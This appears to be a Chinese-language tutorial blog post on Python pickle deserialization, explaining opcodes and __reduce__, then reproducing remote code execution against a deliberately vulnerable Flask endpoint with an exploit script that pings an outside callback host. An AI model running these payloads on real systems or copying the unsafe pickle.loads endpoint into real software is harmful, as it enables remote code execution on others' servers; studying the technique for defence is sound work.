pickle

一、pickle 反序列化

1.1 原理

pickle 是相当于一个指令解释器,解析对应的opcode指令。因此其实python的序列化和反序列化机制更像是一个代码执行。pickle 的反序列化器是一个 opcode 解释器:它按顺序读取 opcode 并执行对应的动作。Pickle 的 opcode ≈ Python 对象操作的汇编代码,这也就是说我们的

  • Python 字节码解释 Python 源代码用的“机器码”

  • Pickle opcode解释 Python 对象结构和构造过程用的“脚本码”

类似汇编语言

c__builtin__\nos\nsystem\n   ← 加载 os.system(Sid hello.txt\n
← 准备参数 ("id hello.txt",)t
← 创建 tupleR
← 调用函数 os.system(...).
← 结束
  • Pickle 是一种带有执行语义的脚本格式

  • 它的 opcode 可以直接构造对象、调用函数(如 os.system())。

  • 所以,只要你给 Python 反序列化一个恶意构造的 pickle 数据,它就会自动“解释执行”这些指令

1.2 rce

因为 pickle.loads()直接执行传入数据中的指令(opcode),而这些指令可以构造任意对象、调用任意函数、执行任意系统命令 —— 这就是完整的代码执行能力。

pickle.dumps()

  • 不是 把 Python 代码序列化成字节码(像 .pyc 文件那样);

  • 它是把一个 Python 对象(含其结构、数据、构造方法) 序列化成一种 pickle 指令流(opcode 流)

  • 这个 opcode 是 pickle 模块内部设计的一套“迷你语言”,能表示“如何构造这个对象”。

1.3 构造

__reduce__()

在 Python 中,pickle 模块用来“序列化”和“反序列化”对象。
而当你 反序列化 一个对象时,pickle 必须知道:

“我应该怎么重新构造这个对象?”

这时候就靠对象的 __reduce__() 方法 来告诉 pickle 如何“重建自己”

import osclass Evil:    def __reduce__(self):            return (os.system, ("id",))  # 任意系统命令

只需要一个元组 带上函数名字 + 元组参数

二、复现

其实我感觉还是很简单的. 并且官方其实没有一些修复方式。这不算是一个漏洞,更多是算是一种特性。

server


from flask 
import Flask, request
import pickle
import base64
app = Flask(__name__)  
@app.route("/pickle_load", methods=["POST"])
def load():    data = request.data    data=base64.b64decode(data)    obj = pickle.loads(data)    
return "Loaded"
if __name__ == "__main__":    app.run(debug=True, host='0.0.0.0', port=5000)

exp


import pickle
import os
import base64  
class Evil:    
def __reduce__(self):        
return (os.system, ("ping  3.813902be86.ipv6.bypass.eu.org",))  a=pickle.dumps(Evil())
print(base64.b64encode(a))

成功构造无回显rce

image.png